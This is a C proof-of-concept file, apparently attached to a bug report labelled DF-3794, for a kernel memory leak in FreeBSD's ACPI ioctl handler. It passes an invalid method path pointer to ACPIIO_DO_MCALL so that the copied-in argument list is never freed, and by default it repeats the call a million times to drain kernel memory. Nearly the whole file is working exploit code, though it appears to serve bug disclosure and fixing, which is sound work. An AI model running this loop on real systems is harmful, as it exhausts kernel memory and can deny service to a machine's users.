DF-3794 / mcallleak.c
/* * DF-3794 PoC: ACPIIO_DO_MCALL leaks the kernel copy of the argument * object list when copyinstr() of the method path faults. * * acpi_call_ioctl() (sys/dev/acpica/acpi.c): * args = acpi_copyin_object_list(¶ms->args); <-- allocates * if (!args) return EINVAL; * if (copyinstr(params->path, path, sizeof(path), NULL)) * return EINVAL; <-- args leaked * * Each failing call leaks sizeof(ACPI_OBJECT_LIST) + * Count*sizeof(ACPI_OBJECT) bytes of M_ACPICA. Run as root with * debug.acpi.allow_method_calls=1 (loader tunable). * * usage: mcallleak [iterations] ; watch `vmstat -m | grep -i acpica` */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include "acpi.h" #include <dev/acpica/acpiio.h> #include <dev/acpica/acpiio_mcall.h> int main(int argc, char **argv) { long iters = (argc > 1) ? atol(argv[1]) : 1000000; int fd, rc, i; struct acpi_mcall_ioctl_arg a; ACPI_OBJECT objs[2]; ACPI_OBJECT_LIST ol; fd = open("/dev/acpi", O_RDWR); if (fd < 0) { perror("open /dev/acpi O_RDWR"); return (1); } memset(&a, 0, sizeof(a)); memset(objs, 0, sizeof(objs)); objs[0].Type = ACPI_TYPE_INTEGER; objs[0].Integer.Value = 0x42; objs[1].Type = ACPI_TYPE_INTEGER; objs[1].Integer.Value = 0x43; ol.Count = 2; ol.Pointer = objs; a.args = ol; /* invalid user pointer: copyin of the object list succeeds, * then copyinstr(params->path, ...) faults -> EINVAL, args leaked */ a.path = (char *)0x10; rc = ioctl(fd, ACPIIO_DO_MCALL, &a); printf("single call: rc=%d errno=%d (%s) retval=0x%x\n", rc, errno, strerror(errno), (unsigned)a.retval); if (rc != 0 && errno != EINVAL) { printf("DO_MCALL not reachable as expected (mcall disabled?)\n"); close(fd); return (1); } for (i = 0; i < iters; i++) ioctl(fd, ACPIIO_DO_MCALL, &a); printf("done %ld iterations (each leaked the copied-in object list)\n", iters); close(fd); return (0); } |